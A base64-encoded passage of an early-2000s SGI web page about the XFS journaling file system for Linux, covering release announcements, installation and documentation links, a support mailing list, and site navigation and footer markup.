IFdJRFRIPSIxIj48L1REPjxURD48L1REPjwvVFI+CjxUUj48VEQ+PC9URD48VEQ+PEEgSFJF Rj0ic3VydmV5Lmh0bWwiPlhGUyBVc2VyIFN1cnZleTwvQT48L1REPjwvVFI+CjxUUj48VEQ+ PElNRyBTUkM9Ii9pbWFnZXMvZG90cy9kb3RfY2xlYXIuZ2lmIiBBTFQ9IiIgSEVJR0hUPSI4 IiBXSURUSD0iMSI+PC9URD48VEQ+PC9URD48L1RSPgo8VFI+PFREPjwvVEQ+PFREPjxBIEhS RUY9ImNvbnRyaWJ1dGUuaHRtbCI+SG93IHRvIENvbnRyaWJ1dGU8L0E+PC9URD48L1RSPgo8 VFI+PFREPjxJTUcgU1JDPSIvaW1hZ2VzL2RvdHMvZG90X2NsZWFyLmdpZiIgQUxUPSIiIEhF SUdIVD0iOCIgV0lEVEg9IjEiPjwvVEQ+PFREPjwvVEQ+PC9UUj4KPFRSPjxURD48L1REPjxU RD48QSBIUkVGPSJsaWNlbnNlLmh0bWwiPkxpY2Vuc2U8L0E+PC9URD48L1RSPgo8VFI+PFRE PjxJTUcgU1JDPSIvaW1hZ2VzL2RvdHMvZG90X2NsZWFyLmdpZiIgQUxUPSIiIEhFSUdIVD0i MjAiIFdJRFRIPSIxIj48L1REPjxURD48L1REPjwvVFI+Cgo8IS0tIFByb2plY3QgTGlzdCBs aW5rIC0tPgo8VFIgVkFMSUdOPSJUT1AiPgo8VEQ+PElNRyBTUkM9Ii9pbWFnZXMvY29tbW9u L2J1bGxldHNfZGV2LmdpZiIgQUxUPSIiIFdJRFRIPSIxOCIgSEVJR0hUPSIxMCI+PC9URD4K PFREPjxCPlNHSSBPcGVuIFNvdXJjZTwvQj48L1REPjwvVFI+CjxUUj48VEQ+PElNRyBTUkM9 Ii9pbWFnZXMvZG90cy9kb3RfY2xlYXIuZ2lmIiBBTFQ9IiIgSEVJR0hUPSI4IiBXSURUSD0i MSI+PC9URD48VEQ+PC9URD48L1RSPgo8VFI+PFREPjwvVEQ+PFREPjxBIEhSRUY9Ii9wcm9q ZWN0cy8iPlByb2plY3QgTGlzdDwvQT48L1REPjwvVFI+CjxUUj48VEQ+PElNRyBTUkM9Ii9p bWFnZXMvZG90cy9kb3RfY2xlYXIuZ2lmIiBBTFQ9IiIgSEVJR0hUPSIyMCIgV0lEVEg9IjEi PjwvVEQ+PFREPjwvVEQ+PC9UUj4KCgo8VFIgVkFMSUdOPSJUT1AiPgo8VEQ+PElNRyBTUkM9 Ii9pbWFnZXMvY29tbW9uL2J1bGxldHNfZGV2LmdpZiIgQUxUPSIiIFdJRFRIPSIxOCIgSEVJ R0hUPSIxMCI+PC9URD4KPFREPjxCPlNHSSBTdXBwb3J0IGFuZCBSZXNvdXJjZXM8L0I+PC9U RD48L1RSPgo8VFI+PFREPjxJTUcgU1JDPSIvaW1hZ2VzL2RvdHMvZG90X2NsZWFyLmdpZiIg QUxUPSIiIEhFSUdIVD0iOCIgV0lEVEg9IjEiPjwvVEQ+PFREPjwvVEQ+PC9UUj4KPFRSPjxU RD48L1REPjxURD48QSBIUkVGPSJodHRwOi8vd3d3LnNnaS5jb20vZGV2ZWxvcGVycy90ZWNo bm9sb2d5L2xpbnV4LyI+UHJlc3MgUmVsZWFzZXM8L0E+PC9URD48L1RSPgo8VFI+PFREPjxJ TUcgU1JDPSIvaW1hZ2VzL2RvdHMvZG90X2NsZWFyLmdpZiIgQUxUPSIiIEhFSUdIVD0iOCIg V0lEVEg9IjEiPjwvVEQ+PFREPjwvVEQ+PC9UUj4KPFRSPjxURD48L1REPjxURD48QSBIUkVG PSJodHRwOi8vd3d3LnNnaS5jb20vZGV2ZWxvcGVycy90ZWNobm9sb2d5L2xpbnV4LyI+U0dJ IGFuZCBMaW51eDwvQT48L1REPjwvVFI+CjxUUj48VEQ+PElNRyBTUkM9Ii9pbWFnZXMvZG90 cy9kb3RfY2xlYXIuZ2lmIiBBTFQ9IiIgSEVJR0hUPSI4IiBXSURUSD0iMSI+PC9URD48VEQ+ PC9URD48L1RSPgo8VFI+PFREPjwvVEQ+PFREPjxBIEhSRUY9Imh0dHA6Ly9zdXBwb3J0LnNn aS5jb20vbGludXgvIj5TdXBwb3J0Zm9saW8gZm9yIExpbnV4PC9BPjwvVEQ+PC9UUj4KPFRS PjxURD48SU1HIFNSQz0iL2ltYWdlcy9kb3RzL2RvdF9jbGVhci5naWYiIEFMVD0iIiBIRUlH SFQ9IjgiIFdJRFRIPSIxIj48L1REPjxURD48L1REPjwvVFI+CjxUUj48VEQ+PC9URD48VEQ+ PEEgSFJFRj0iaHR0cDovL3d3dy5zZ2kuY29tL3N1cHBvcnQvIj5DdXN0b21lciBTZXJ2aWNl czwvQT48L1REPjwvVFI+CjxUUj48VEQ+PElNRyBTUkM9Ii9pbWFnZXMvZG90cy9kb3RfY2xl YXIuZ2lmIiBBTFQ9IiIgSEVJR0hUPSIyMCIgV0lEVEg9IjEiPjwvVEQ+PFREPjwvVEQ+PC9U Uj4KCgo8VFIgVkFMSUdOPSJUT1AiPgo8VEQ+PElNRyBTUkM9Ii9pbWFnZXMvY29tbW9uL2J1 bGxldHNfZGV2LmdpZiIgQUxUPSIiIFdJRFRIPSIxOCIgSEVJR0hUPSIxMCI+PC9URD4KPFRE PjxCPkNvbW11bml0eSBSZXNvdXJjZXM8L0I+PC9URD48L1RSPgo8VFI+PFREPjxJTUcgU1JD PSIvaW1hZ2VzL2RvdHMvZG90X2NsZWFyLmdpZiIgQUxUPSIiIEhFSUdIVD0iOCIgV0lEVEg9 IjEiPjwvVEQ+PFREPjwvVEQ+PC9UUj4KPFRSPjxURD48L1REPjxURD48QSBIUkVGPSJodHRw Oi8vd3d3LnNnaS5jb20vZGV2ZWxvcGVycy9vc3MvcmVzb3VyY2VzL25ld3Nncm91cHMuaHRt bCI+TmV3c2dyb3VwcyAmYW1wOyBNYWlsaW5nIExpc3RzPC9BPjwvVEQ+PC9UUj4KPFRSPjxU RD48SU1HIFNSQz0iL2ltYWdlcy9kb3RzL2RvdF9jbGVhci5naWYiIEFMVD0iIiBIRUlHSFQ9 IjgiIFdJRFRIPSIxIj48L1REPjxURD48L1REPjwvVFI+CjxUUj48VEQ+PC9URD48VEQ+PEEg SFJFRj0iaHR0cDovL3d3dy5zZ2kuY29tL2RldmVsb3BlcnMvb3NzL3Jlc291cmNlcy9zdXBw b3J0Lmh0bWwiPlN1cHBvcnQgTGlua3M8L0E+PC9URD48L1RSPgo8VFI+PFREPjxJTUcgU1JD PSIvaW1hZ2VzL2RvdHMvZG90X2NsZWFyLmdpZiIgQUxUPSIiIEhFSUdIVD0iOCIgV0lEVEg9 IjEiPjwvVEQ+PFREPjwvVEQ+PC9UUj4KPFRSPjxURD48L1REPjxURD48QSBIUkVGPSJodHRw Oi8vd3d3LnNnaS5jb20vZGV2ZWxvcGVycy9vc3MvcmVzb3VyY2VzL3NpdGVzLmh0bWwiPk9w ZW4gU291cmNlIFNpdGVzPC9BPjwvVEQ+PC9UUj4KPFRSPjxURD48SU1HIFNSQz0iL2ltYWdl cy9kb3RzL2RvdF9jbGVhci5naWYiIEFMVD0iIiBIRUlHSFQ9IjgiIFdJRFRIPSIxIj48L1RE PjxURD48L1REPjwvVFI+CjxUUj48VEQ+PC9URD48VEQ+PEEgSFJFRj0iaHR0cDovL29zcy5z Z2kuY29tL0xEUC8iPkxpbnV4IERvY3VtZW50YXRpb24gUHJvamVjdDwvQT48L1REPjwvVFI+ CjxUUj48VEQ+PElNRyBTUkM9Ii9pbWFnZXMvZG90cy9kb3RfY2xlYXIuZ2lmIiBBTFQ9IiIg SEVJR0hUPSIyMCIgV0lEVEg9IjEiPjwvVEQ+PFREPjwvVEQ+PC9UUj4KPC9UQUJMRT4KPC9E SVY+CgoKPCEtLSBFbmQgU2lkZSBOYXYgLS0+CjwhLS0gU3RhcnQgc2VwX2xlZnQuaHRtbGYg LS0+CjwvVEQ+CjxURCBXSURUSD0iMzAiIFZBTElHTj0iVE9QIj48SU1HIFNSQz0iL2ltYWdl cy9kb3RzL2RvdF9jbGVhci5naWYiIFdJRFRIPSIzMCIgSEVJR0hUPSIyIiBBTFQ9IiI+PC9U RD48VEQ+CgoKPCEtLSBFbmQgc2VwX2xlZnQuaHRtbGYgLS0+Cgo8RElWIENMQVNTPSJjb250 ZW50Ij4KCgo8IS0tIENvbnRlbnQgU3RhcnRzIEhlcmUgLS0+CjwhLS0gU3RhcnQgUHJvamVj dCBDb250ZW50IC0tPgoKPCEtLSBDT05URU5UIC0tPgoKPCEtLSBFbmQgUHJvamVjdCBDb250 ZW50IC0tPgo8IS0tIENvbnRlbnQgRW5kcyBIZXJlIC0tPgoKCgoKPGJyPgo8aDE+PGI+PGZv bnQgZmFjZT0iQVJJQUwgTkFSUk9XLEhFTFZFVElDQSI+ClhGUzogQSBoaWdoLXBlcmZvcm1h bmNlIGpvdXJuYWxpbmcgZmlsZSBzeXN0ZW0KPC9mb250PjwvYj48L2gxPgoKPCEtLSBTdGFy dCBQcm9qZWN0IENvbnRlbnQgLS0+CjwhLS0KPElNRyBTUkM9ImltYWdlcy9YRlNSZWxlYXNl MS4wLmpwZyIgQk9SREVSPTAgSEVJR0hUPSIxMjgiIFdJRFRIPSIzNTMiPgotLT4KCjxwPgpP biBNYXkgMSAyMDAxLCBTR0kgbWFkZSBhdmFpbGFibGUgUmVsZWFzZSAxLjAgb2YgaXRzIGhp Z2gtZW5kIFhGUyBmaWxlCnN5c3RlbSBmb3IgTGludXguClhGUywgd2lkZWx5IHJlY29nbml6 ZWQgYXMgdGhlIGluZHVzdHJ5LWxlYWRpbmcgaGlnaC1wZXJmb3JtYW5jZQpmaWxlc3lzdGVt LCBwcm92aWRlcyByYXBpZCByZWNvdmVyeSBmcm9tIHN5c3RlbSBjcmFzaGVzCmFuZCB0aGUg YWJpbGl0eSB0byBzdXBwb3J0IGV4dHJlbWVseSBsYXJnZSBkaXNrIGZhcm1zLiBYRlMgaXMK dGhlIGZpcnN0IGpvdXJuYWxlZCBmaWxlc3lzdGVtIGZvciBMaW51eAphdmFpbGFibGUgdG9k YXkgdGhhdCBoYXMKYSBwcm92ZW4gdHJhY2sgcmVjb3JkIGluIHByb2R1Y3Rpb24gZW52aXJv bm1lbnRzCnNpbmNlIGxhdGUgMTk5NC4KRm9yIGEgbGlzdGluZyBvZiB0aGUgY2FwYWJpbGl0 aWVzIGFuZCBzcGVjaWZpY2F0aW9ucwpvZiBYRlMsIHNlZSAKPGEgaHJlZj0iZmVhdHVyZXMu aHRtbCI+WEZTIGZvciBMaW51eCBGZWF0dXJlczwvYT4uCjwvcD4KCjxwPgpYRlMgaXMgbGlj ZW5zZWQgdW5kZXIgdGhlIEdQTC4KPC9wPgoKPGgyPjxiPjxmb250IGZhY2U9IkFSSUFMIE5B UlJPVyxIRUxWRVRJQ0EiPgpMYXRlc3QgUmVsZWFzZSBpcyBYRlMgMS4xPC9mb250PjwvYj48 L2gyPgo8cD4KPGEgaHJlZj0iMS4xX3JlbGVhc2UuaHRtbCI+UmVsZWFzZSAxLjE8L2E+Cm9m IFNHSSBYRlMgZm9yIExpbnV4IGlzIG5vdyBhdmFpbGFibGUuCjwvcD4KCjxoMj48Yj48Zm9u dCBmYWNlPSJBUklBTCBOQVJST1csSEVMVkVUSUNBIj4KWEZTIEluc3RhbGxhdGlvbjwvZm9u dD48L2I+PC9oMj4KCjxwPgpTR0kgWEZTIExpbnV4IGlzIGF2YWlsYWJsZSBpbiB0aGUgZm9s bG93aW5nIHZlcnNpb25zOgo8L3A+Cgo8dWw+CjxwPgo8bGk+QSBmYXN0LW1vdmluZyBkZXZl bG9wbWVudCB0cmVlLCB3aGljaCBpcyBhIGN1cnJlbnQgc25hcHNob3Qgb2YKdGhlIFhGUyBk ZXZlbG9wbWVudCBjb2RlLiAgRm9yIGluZm9ybWF0aW9uIG9uIGluc3RhbGxpbmcgdGhlIGRl dmVsb3BtZW50IGNvZGUsCnNlZSA8YSBocmVmPSJkZXZ0cmVlLmh0bWwiPkluc3RhbGxpbmcg dGhlIFhGUyBEZXZlbG9wbWVudCBUcmVlPC9hPjwvbGk+Lgo8L3A+CjxwPgo8bGk+WEZTIFJl bGVhc2UgMS4xLgpUaGlzIHJlbGVhc2UgcnVucyBvbiBib3RoIHg4NiBhbmQKSUEtNjQgYXJj aGl0ZWN0dXJlcy4KRm9yIGluZm9ybWF0aW9uIG9uIGluc3RhbGxpbmcgWEZTIExpbnV4IFJl bGVhc2UgMS4xLApzZWUgdGhlIDxhIGhyZWY9IjEuMV9yZWxlYXNlLmh0bWwiPgpTR0kgWEZT IExpbnV4IFJlbGVhc2UgMS4xPC9hPiBwYWdlLgo8L2xpPgo8L3A+CjwvdWw+Cgo8cD4KRm9y IGEgbGlzdGluZyBvZiB0aGUgY3VycmVudCBMaW51eCBYRlMgcGF0Y2gKc2V0cyB0aGF0IGFy ZSBhdmFpbGFibGUgZm9yIGRvd25sb2FkaW5nLCBzZWUKPGEgaHJlZj0icGF0Y2hsaXN0Lmh0 bWwiPnRoZSBMaW51eCBYRlMgcGF0Y2ggc2V0czwvYT4uCjwvcD4KCjxoMj48Zm9udCBmYWNl PSJBUklBTCBOQVJST1csSEVMVkVUSUNBIj4KV29ya2luZyB3aXRoIFhGUyBGaWxlc3lzdGVt cwo8L2ZvbnQ+PC9oMj4KCkluZm9ybWF0aW9uIG9uIFhGUyBmaWxlc3lzdGVtcyBpcyBhdmFp bGFibGUKaW4gdGhlIDxhIGhyZWY9ImZhcS5odG1sIj5YRlMgRkFRPC9hPiBhbmQgdGhlCjxh IGhyZWY9Im1hbnBhZ2VzLmh0bWwiPlhGUyBtYW4gcGFnZXM8L2E+LiAgVGhlCmZvbGxvd2lu ZyBwYWdlcyBwcm92aWRlIGFkZGl0aW9uYWwgaW5mb3JtYXRpb246Cjx1bD4KPGxpPkZvciBh IGxpc3Rpbmcgb2YgdGhlIGNhcGFiaWxpdGllcyBhbmQgc3BlY2lmaWNhdGlvbnMKb2YgWEZT LCBzZWUKPGEgaHJlZj0iZmVhdHVyZXMuaHRtbCI+WEZTIGZvciBMaW51eCBGZWF0dXJlczwv YT48L2xpPi4KPGxpPkZvciBnZW5lcmFsIGFkbWluaXN0cmF0aW9uIGluc3RydWN0aW9ucywg c2VlCjxhIGhyZWY9InByMTBfYWRtaW4uaHRtbCI+V29ya2luZyB3aXRoIFhGUyBGaWxlc3lz dGVtczwvYT48L2xpPi4KPGxpPkZvciBpbnN0cnVjdGlvbnMgb24gY29udmVydGluZyBhIHJv b3QgcGFydGl0aW9uCnRvICBiZSBhbiBYRlMgcm9vdCwgc2VlCjxhIGhyZWY9Inhmc3Jvb3Qu aHRtbCI+TWFraW5nIGEgTGludXggWEZTIFJvb3Q8L2E+PC9saT4uCjxsaT4KRm9yIGluZm9y bWF0aW9uIG9uIHVzaW5nIHRoZSBEYXRhIE1hbmFnZW1lbnQgQVBJIChETUFQSSkKd2l0aGlu IHRoZSBYRlMgZmlsZXN5c3RlbSwgc2VlCjxhIGhyZWY9ImRtYXBpLmh0bWwiPlRoZSBEYXRh IE1hbmFnZW1lbnQgQVBJPC9hPi4KPC9saT4KPC91bD4KCjxwPgpUaGVyZSBhcmUgc29tZSBt aW5vciBkaWZmZXJlbmNlcyBpbiB0aGUgaW1wbGVtZW50YXRpb24gb2YgTGludXgKWEZTIGFu ZCBJUklYIFhGUy4gIFRoZXNlIGRpZmZlcmVuY2VzIGFyZSBzdW1tYXJpemVkIGluCjxhIGhy ZWY9ImlyaXgtbGludXguaHRtbCI+TGludXggWEZTIGFuZCBJUklYIFhGUzwvYT48L2xpPi4K PC9wPgoKCjxoMj48Zm9udCBmYWNlPSJBUklBTCBOQVJST1csSEVMVkVUSUNBIj4KUXVlc3Rp b25zIGFuZCBQcm9ibGVtcwo8L2ZvbnQ+PC9oMj4KSWYgeW91IGhhdmUgYW55IHF1ZXN0aW9u cyBvciBwcm9ibGVtcyB3aXRoIHRoZSBpbnN0YWxsYXRpb24gb3IKYWRtaW5pc3RyYXRpb24g b2YgWEZTIGZvciBMaW51eCwgeW91IGNhbgpzZW5kIGVtYWlsIHRvIAo8YSBocmVmPSJtYWls dG86bGludXgteGZzQG9zcy5zZ2kuY29tIj5saW51eC14ZnNAb3NzLnNnaS5jb208L2E+Lgog IE5vdGUgdGhhdCB0aGlzIGFkZHJlc3MgaXMgYSBwdWJsaWMgbWFpbGluZyBsaXN0LCBwbGVh c2Ugc2VhcmNoIHRoZSAKPEEgSFJFRj0iaHR0cDovL21hcmMudGhlYWltc2dyb3VwLmNvbS8/ bD1saW51eC14ZnMmcj0xJnc9MiI+bGlzdCBhcmNoaXZlczwvQT4KIHRvIHNlZSBpZiB5b3Vy CnF1ZXN0aW9uIGhhcyBiZWVuIGFuc3dlcmVkIHByZXZpb3VzbHkuCgoKCgo8YnI+CgoKCjwh LS0gQ29udGVudCBTdGFydHMgSGVyZSAtLT4KPCEtLSBTdGFydCBQcm9qZWN0IENvbnRlbnQg LS0+Cgo8IS0tIENPTlRFTlQgLS0+Cgo8IS0tIEVuZCBQcm9qZWN0IENvbnRlbnQgLS0+Cjwh LS0gQ29udGVudCBFbmRzIEhlcmUgLS0+Cgo8L0RJVj4KPC9URD48VEQgCldJRFRIPSIyMCIg VkFMSUdOPSJUT1AiPjxJTUcgU1JDPSIvaW1hZ2VzL2RvdHMvZG90X2NsZWFyLmdpZiIgV0lE VEg9IjIwIiBIRUlHSFQ9IjEiIEFMVD0iIj48L1REPjxURCAKV0lEVEg9IjUwIiBWQUxJR049 IlRPUCI+PElNRyBTUkM9Ii9pbWFnZXMvZG90cy9kb3RfY2xlYXIuZ2lmIiBXSURUSD0iNTAi IEhFSUdIVD0iMSIgQUxUPSIiPgoKCjwhLS0gQmVnaW4gdHJhZGVtYXJrIGZvb3RlciAtLT4K ICAgIDwvVEQ+CjwvVFI+CjxUUj4KICAgIDxURCBDT0xTUEFOPSIyIj4mbmJzcDs8L1REPgog ICAgPFREIENPTFNQQU49IjMiIFZBTElHTj0iQk9UVE9NIiBBTElHTj0iTUlERExFIj48QlI+ PEJSPjxCUj4KCTxUQUJMRSBXSURUSD0iNjAwIiBDRUxMUEFERElORz0iMCIgQ0VMTFBBRERJ Tkc9IjAiIEJPUkRFUj0iMCI+Cgk8VFI+CgkgICAgPFREIEFMSUdOPSJSSUdIVCIgQ0xBU1M9 ImZvb3RlciI+PEEgSFJFRj0iaHR0cDovL3d3dy5zZ2kuY29tL2NvbXBhbnlfaW5mby9wcml2 YWN5Lmh0bWwiIFRBUkdFVD0iX3RvcCI+cHJpdmFjeSBwb2xpY3k8L0E+Jm5ic3A7PC9URD4K CSAgICA8VEQgQUxJR049IkNFTlRFUiIgQ0xBU1M9ImZvb3RlciI+IHwgPC9URD4KCSAgICA8 VEQgQUxJR049IkxFRlQiIENMQVNTPSJmb290ZXIiPjxBIEhSRUY9Imh0dHA6Ly9vc3Muc2dp LmNvbS9jZ2ktYmluL21haWx0byIgVEFSR0VUPSJUT1AiPmNvbnRhY3QgcHJvamVjdCBvd25l cihzKTwvQT48L1REPgoJPC9UUj48VFI+CgkgICAgPFREIEFMSUdOPSJSSUdIVCIgQ0xBU1M9 ImZvb3RlciI+PEEgSFJFRj0iaHR0cDovL3d3dy5zZ2kuY29tL2NvbXBhbnlfaW5mby9jb3B5 cmlnaHQuaHRtbCIgVEFSR0VUPSJfdG9wIj5Db3B5cmlnaHQgJmNvcHk7IDE5OTMtMjAwMiBT aWxpY29uIEdyYXBoaWNzLCBJbmMuPC9BPiBBbGwgcmlnaHRzIHJlc2VydmVkLjwvVEQ+Cgkg ICAgPFREIEFMSUdOPSJDRU5URVIiIENMQVNTPSJmb290ZXIiPiB8IDwvVEQ+CgkgICAgPFRE IEFMSUdOPSJMRUZUIiBDTEFTUz0iZm9vdGVyIj48QSBIUkVGPSJodHRwOi8vd3d3LnNnaS5j b20vY29tcGFueV9pbmZvL3RyYWRlbWFya3MvIiBUQVJHRVQ9Il90b3AiPlRyYWRlbWFyayBJ bmZvcm1hdGlvbjwvQT48L1REPgoJPC9UUj4KCTwvVEFCTEU+CiAgICA8L1REPgo8L1RSPgo8 L1RBQkxFPgoKPCEtLSBFbmQgdHJhZGVtYXJrIGZvb3RlciAtLT4KCjwhLS0gamF2YXNjcmlw dC9DR0kgbGlua3MgYW5kIGltYWdlcyBzbyB0aGUgbGlua3NjYW4gY2hlY2tlciBmaW5kcyB0 aGVtLS0+CjxBIEhSRUY9Ii9pbWFnZXMvY29tbW9uL2phdmFzY3JpcHQuaHRtbCI+PC9BPgo8 IS0tIGVuZCBsaW5rcyBhbmQgaW1hZ2VzIC0tPgoKPE1BUCBOQU1FPSJtZW51MG1hcCI+PEFS RUEgU0hBUEU9IlJFQ1QiIENPT1JEUz0iMiwwIDEwNiwyMyIgSFJFRj0iaHR0cDovL3d3dy5z Z2kuY29tL3Byb2R1Y3RzLyIgICBPTk1PVVNFT1ZFUj0iY2xlYXJtZW51cygpO2NoYW5nZSgn aW1nbWVudTAnLCduYXZfcHJkJywxKSIgT05NT1VTRU9VVD0iaWYoIWlzRm91ciljbGVhcm1l bnVzKCkiPjwvTUFQPgo8TUFQIE5BTUU9Im1lbnUxbWFwIj48QVJFQSBTSEFQRT0iUkVDVCIg Q09PUkRTPSIyLDAgMTA5LDIzIiBIUkVGPSJodHRwOi8vd3d3LnNnaS5jb20vc29sdXRpb25z LyIgIE9OTU9VU0VPVkVSPSJjbGVhcm1lbnVzKCk7Y2hhbmdlKCdpbWdtZW51MScsJ25hdl9z b2wnLDEpIiBPTk1PVVNFT1VUPSJpZighaXNGb3VyKWNsZWFybWVudXMoKSI+PC9NQVA+CjxN QVAgTkFNRT0ibWVudTJtYXAiPjxBUkVBIFNIQVBFPSJSRUNUIiBDT09SRFM9IjIsMCAxMTgs MjMiIEhSRUY9Imh0dHA6Ly93d3cuc2dpLmNvbS9kZXZlbG9wZXJzLyIgT05NT1VTRU9WRVI9 ImNsZWFybWVudXMoKTtjaGFuZ2UoJ2ltZ21lbnUyJywnbmF2X2RldicsMSkiIE9OTU9VU0VP VVQ9ImlmKCFpc0ZvdXIpY2xlYXJtZW51cygpIj48L01BUD4KPE1BUCBOQU1FPSJtZW51M21h cCI+PEFSRUEgU0hBUEU9IlJFQ1QiIENPT1JEUz0iMiwwIDE2NiwyMyIgSFJFRj0iaHR0cDov L3d3dy5zZ2kuY29tL3N1cHBvcnQvIiAgICBPTk1PVVNFT1ZFUj0iY2xlYXJtZW51cygpO2No YW5nZSgnaW1nbWVudTMnLCduYXZfc3J2JywxKSIgT05NT1VTRU9VVD0iaWYoIWlzRm91cilj bGVhcm1lbnVzKCkiPjwvTUFQPgo8TUFQIE5BTUU9Im1lbnU0bWFwIj48QVJFQSBTSEFQRT0i UkVDVCIgQ09PUkRTPSIyLDAgMTE1LDIzIiBIUkVGPSJodHRwOi8vd3d3LnNnaS5jb20vZnVu LyIgICAgICAgIE9OTU9VU0VPVkVSPSJjbGVhcm1lbnVzKCk7Y2hhbmdlKCdpbWdtZW51NCcs J25hdl9mdW4nLDEpIiBPTk1PVVNFT1VUPSJpZighaXNGb3VyKWNsZWFybWVudXMoKSI+PC9N QVA+Cgo8Tk9TQ1JJUFQ+PFRBQkxFIEJPUkRFUj0iMCIgSEVJR0hUPSIxIiBXSURUSD0iMSI+ PFRSPjxURD48L05PU0NSSVBUPgoKPERJViBJRD0ibWVudTAiPjxJTUcgU1JDPSIvaW1hZ2Vz L25hdi9kcm9wX3Byb2QuZ2lmIiBCT1JERVI9IjAiIEhFSUdIVD0iMTExIiBIU1BBQ0U9IjAi IFZTUEFDRT0iMCIgV0lEVEg9IjEwNyIgQUxUPSJQcm9kdWN0cyBNZW51Ij48L0RJVj4KPERJ ViBJRD0ibWVudTBvdmVycyI+CjxBIEhSRUY9Imh0dHA6Ly93d3cuc2dpLmNvbS9zZXJ2ZXJz LyIKCU9OTU9VU0VPVkVSPSJpbWFnZXJlcCgnc2VydmVycycsICdtZW51MG92ZXJzJykiCglP Tk1PVVNFT1VUPSJlcmFzZWltYWdlKCdzZXJ2ZXJzJywgJ21lbnUwb3ZlcnMnKSIKCUNMQVNT PSJtZW51Ij48SU1HCgkJU1JDPSIvaW1hZ2VzL2RvdHMvZG90X2NsZWFyLmdpZiIKCQlBTFQ9 IlNlcnZlcnMiCgkJQk9SREVSPSIwIiBIRUlHSFQ9IjE1IiBIU1BBQ0U9IjAiIE5BTUU9InNl cnZlcnMiIFZTUEFDRT0iMCIgV0lEVEg9IjEwNyIgQ0xBU1M9Im1lbnUiPjxCUiBDTEFTUz0i bWVudSI+PC9BPgo8QSBIUkVGPSJodHRwOi8vd3d3LnNnaS5jb20vd29ya3N0YXRpb25zLyIK CU9OTU9VU0VPVkVSPSJpbWFnZXJlcCgnd29ya3N0YXRpb25zJywgJ21lbnUwb3ZlcnMnKSIK CU9OTU9VU0VPVVQ9ImVyYXNlaW1hZ2UoJ3dvcmtzdGF0aW9ucycsICdtZW51MG92ZXJzJyki CglDTEFTUz0ibWVudSI+PElNRwoJCVNSQz0iL2ltYWdlcy9kb3RzL2RvdF9jbGVhci5naWYi CgkJQUxUPSJXb3Jrc3RhdGlvbnMiCgkJQk9SREVSPSIwIiBIRUlHSFQ9IjE1IiBIU1BBQ0U9 IjAiIE5BTUU9IndvcmtzdGF0aW9ucyIgVlNQQUNFPSIwIiBXSURUSD0iMTA3IiBDTEFTUz0i bWVudSI+PEJSIENMQVNTPSJtZW51Ij48L0E+CjxBIEhSRUY9Imh0dHA6Ly93d3cuc2dpLmNv bS9zb2Z0d2FyZS8iCglPTk1PVVNFT1ZFUj0iaW1hZ2VyZXAoJ3N3JywgJ21lbnUwb3ZlcnMn KSIKCU9OTU9VU0VPVVQ9ImVyYXNlaW1hZ2UoJ3N3JywgJ21lbnUwb3ZlcnMnKSIKCUNMQVNT PSJtZW51Ij48SU1HCgkJU1JDPSIvaW1hZ2VzL2RvdHMvZG90X2NsZWFyLmdpZiIKCQlBTFQ9 IlNvZnR3YXJlIgoJCUJPUkRFUj0iMCIgSEVJR0hUPSIxNSIgSFNQQUNFPSIwIiBOQU1FPSJz dyIgVlNQQUNFPSIwIiBXSURUSD0iMTA3IiBDTEFTUz0ibWVudSI+PEJSIENMQVNTPSJtZW51 Ij48L0E+CjxBIEhSRUY9Imh0dHA6Ly93d3cuc2dpLmNvbS92aXN1YWxpemF0aW9uLyIKCU9O TU9VU0VPVkVSPSJpbWFnZXJlcCgndmlzc3lzJywgJ21lbnUwb3ZlcnMnKSIKCU9OTU9VU0VP VVQ9ImVyYXNlaW1hZ2UoJ3Zpc3N5cycsICdtZW51MG92ZXJzJykiCglDTEFTUz0ibWVudSI+ PElNRwoJCVNSQz0iL2ltYWdlcy9kb3RzL2RvdF9jbGVhci5naWYiCgkJQUxUPSJWaXN1YWxp emF0aW9uIgoJCUJPUkRFUj0iMCIgSEVJR0hUPSIxNSIgSFNQQUNFPSIwIiBOQU1FPSJ2aXNz eXMiIFZTUEFDRT0iMCIgV0lEVEg9IjEwNyIgQ0xBU1M9Im1lbnUiPjxCUiBDTEFTUz0ibWVu dSI+PC9BPgo8QSBIUkVGPSJodHRwOi8vd3d3LnNnaS5jb20vcHJvZHVjdHMvc3RvcmFnZS8i CglPTk1PVVNFT1ZFUj0iaW1hZ2VyZXAoJ3N0b3JhZ2UnLCAnbWVudTBvdmVycycpIgoJT05N T1VTRU9VVD0iZXJhc2VpbWFnZSgnc3RvcmFnZScsICdtZW51MG92ZXJzJykiCglDTEFTUz0i bWVudSI+PElNRwoJCVNSQz0iL2ltYWdlcy9kb3RzL2RvdF9jbGVhci5naWYiCgkJQUxUPSJT dG9yYWdlIgoJCUJPUkRFUj0iMCIgSEVJR0hUPSIxNSIgSFNQQUNFPSIwIiBOQU1FPSJzdG9y YWdlIiBWU1BBQ0U9IjAiIFdJRFRIPSIxMDciIENMQVNTPSJtZW51Ij48QlIgQ0xBU1M9Im1l bnUiPjwvQT4KPEEgSFJFRj0iaHR0cDovL3d3dy5zZ2kuY29tL3Byb2R1Y3RzL3JlbWFudWZh Y3R1cmVkLyIKCU9OTU9VU0VPVkVSPSJpbWFnZXJlcCgncmVtYW4nLCAnbWVudTBvdmVycycp IgoJT05NT1VTRU9VVD0iZXJhc2VpbWFnZSgncmVtYW4nLCAnbWVudTBvdmVycycpIgoJQ0xB U1M9Im1lbnUiPjxJTUcKCQlTUkM9Ii9pbWFnZXMvZG90cy9kb3RfY2xlYXIuZ2lmIgoJCUFM VD0iUmVtYW51ZmFjdHVyZWQiCgkJQk9SREVSPSIwIiBIRUlHSFQ9IjE1IiBIU1BBQ0U9IjAi IE5BTUU9InJlbWFuIiBWU1BBQ0U9IjAiIFdJRFRIPSIxMDciIENMQVNTPSJtZW51Ij48QlIg Q0xBU1M9Im1lbnUiPjwvQT4KPEEgSFJFRj0iaHR0cDovL3d3dy5zZ2kuY29tL3BlcmlwaGVy YWxzLyIKCU9OTU9VU0VPVkVSPSJpbWFnZXJlcCgncGVyaXBoZXJhbHMnLCAnbWVudTBvdmVy cycpIgoJT05NT1VTRU9VVD0iZXJhc2VpbWFnZSgncGVyaXBoZXJhbHMnLCAnbWVudTBvdmVy cycpIgoJQ0xBU1M9Im1lbnUiPjxJTUcKCQlTUkM9Ii9pbWFnZXMvZG90cy9kb3RfY2xlYXIu Z2lmIgoJCUFMVD0iUGVyaXBoZXJhbHMiCgkJQk9SREVSPSIwIiBIRUlHSFQ9IjE1IiBIU1BB Q0U9IjAiIE5BTUU9InBlcmlwaGVyYWxzIiBWU1BBQ0U9IjAiIFdJRFRIPSIxMDciIENMQVNT 